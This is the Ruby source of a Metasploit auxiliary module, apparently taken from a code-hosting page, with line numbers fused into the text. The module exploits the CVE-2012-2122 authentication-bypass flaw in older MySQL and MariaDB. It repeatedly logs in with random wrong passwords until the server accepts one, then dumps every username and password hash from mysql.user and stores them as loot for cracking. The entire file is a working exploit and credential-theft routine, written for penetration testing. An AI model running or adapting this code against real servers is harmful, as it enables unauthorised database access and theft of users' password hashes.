Path: blob/master/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb
19848 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/proto/mysql/client'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::MYSQL9include Msf::Auxiliary::Report1011include Msf::Auxiliary::Scanner1213def initialize14super(15'Name' => 'MySQL Authentication Bypass Password Dump',16'Description' => %Q{17This module exploits a password bypass vulnerability in MySQL in order18to extract the usernames and encrypted password hashes from a MySQL server.19These hashes are stored as loot for later cracking.2021Impacts MySQL versions:22- 5.1.x before 5.1.6323- 5.5.x before 5.5.2424- 5.6.x before 5.6.62526And MariaDB versions:27- 5.1.x before 5.1.6228- 5.2.x before 5.2.1229- 5.3.x before 5.3.630- 5.5.x before 5.5.2331},32'Author' => [33'theLightCosine', # Original hashdump module34'jcran' # Authentication bypass bruteforce implementation35],36'References' => [37['CVE', '2012-2122'],38['OSVDB', '82804'],39['URL', 'https://www.rapid7.com/blog/post/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/']40],41'DisclosureDate' => 'Jun 09 2012',42'License' => MSF_LICENSE43)4445deregister_options('PASSWORD')46register_options([47OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])48])49end5051def run_host(ip)52# Keep track of results (successful connections)53results = []5455# Username and password placeholders56username = datastore['USERNAME']57password = Rex::Text.rand_text_alpha(rand(8) + 1)5859# Do an initial check to see if we can log into the server at all6061begin62socket = connect(false)63close_required = true64mysql_client = ::Rex::Proto::MySQL::Client.connect(rhost, username, password, nil, rport, io: socket)65results << mysql_client66close_required = false6768print_good "#{mysql_client.peerhost}:#{mysql_client.peerport} The server accepted our first login as #{username} with a bad password. URI: mysql://#{username}:#{password}@#{mysql_client.peerhost}:#{mysql_client.peerport}"69rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged70print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"71return72rescue ::Rex::Proto::MySQL::Client::AccessDeniedError73print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"74rescue ::Interrupt75raise $!76rescue ::Exception => e77print_error "#{rhost}:#{rport} Error: #{e}"78return79ensure80socket.close if socket && close_required81end8283# Short circuit if we already won84if results.length > 085self.mysql_conn = results.first86return dump_hashes(mysql_client.peerhost, mysql_client.peerport)87end8889#90# Threaded login checker91#92max_threads = 1693cur_threads = []9495# Try up to 1000 times just to be sure96queue = [*(1..1000)]9798while (queue.length > 0)99while (cur_threads.length < max_threads)100101# We can stop if we get a valid login102break if results.length > 0103104# keep track of how many attempts we've made105item = queue.shift106107# We can stop if we reach 1000 tries108break if not item109110# Status indicator111print_status "#{rhost}:#{rport} Authentication bypass is #{item / 10}% complete" if (item % 100) == 0112113t = Thread.new(item) do |count|114begin115# Create our socket and make the connection116close_required = true117s = connect(false)118mysql_client = ::Rex::Proto::MySQL::Client.connect(rhost, username, password, nil, rport, io: s)119120print_good "#{mysql_client.peerhost}:#{mysql_client.peerport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"121results << mysql_client122close_required = false123rescue ::Rex::Proto::MySQL::Client::AccessDeniedError124rescue ::Exception => e125print_bad "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"126ensure127s.close if socket && close_required128end129end130131cur_threads << t132end133134# We can stop if we get a valid login135break if results.length > 0136137# Add to a list of dead threads if we're finished138cur_threads.each_index do |ti|139t = cur_threads[ti]140if not t.alive?141cur_threads[ti] = nil142end143end144145# Remove any dead threads from the set146cur_threads.delete(nil)147148::IO.select(nil, nil, nil, 0.25)149end150151# Clean up any remaining threads152cur_threads.each { |x| x.kill }153154if results.length > 0155print_good("#{mysql_client.peerhost}:#{mysql_client.peerport} Successfully exploited the authentication bypass flaw, dumping hashes...")156self.mysql_conn = results.first157return dump_hashes(mysql_client.peerhost, mysql_client.peerport)158end159160print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")161end162163def dump_hashes(host, port)164# Grabs the username and password hashes and stores them as loot165res = mysql_query("SELECT user,password from mysql.user")166if res.nil?167print_error("#{host}:#{port} There was an error reading the MySQL User Table")168return169170end171172# Create a table to store data173tbl = Rex::Text::Table.new(174'Header' => 'MysQL Server Hashes',175'Indent' => 1,176'Columns' => ['Username', 'Hash']177)178179if res.size > 0180res.each do |row|181next unless (row[0].to_s + row[1].to_s).length > 0182183tbl << [row[0], row[1]]184print_good("#{host}:#{port} Saving HashString as Loot: #{row[0]}:#{row[1]}")185end186end187188this_service = nil189if framework.db and framework.db.active190this_service = report_service(191:host => host,192:port => port,193:name => 'mysql',194:proto => 'tcp'195)196end197198report_hashes(tbl.to_csv, this_service, host, port) unless tbl.rows.empty?199end200201# Stores the Hash Table as Loot for Later Cracking202def report_hashes(hash_loot, service, host, port)203filename = "#{host}-#{port}_mysqlhashes.txt"204path = store_loot("mysql.hashes", "text/plain", host, hash_loot, filename, "MySQL Hashes", service)205print_good("#{host}:#{port} Hash Table has been saved: #{path}")206end207end208209210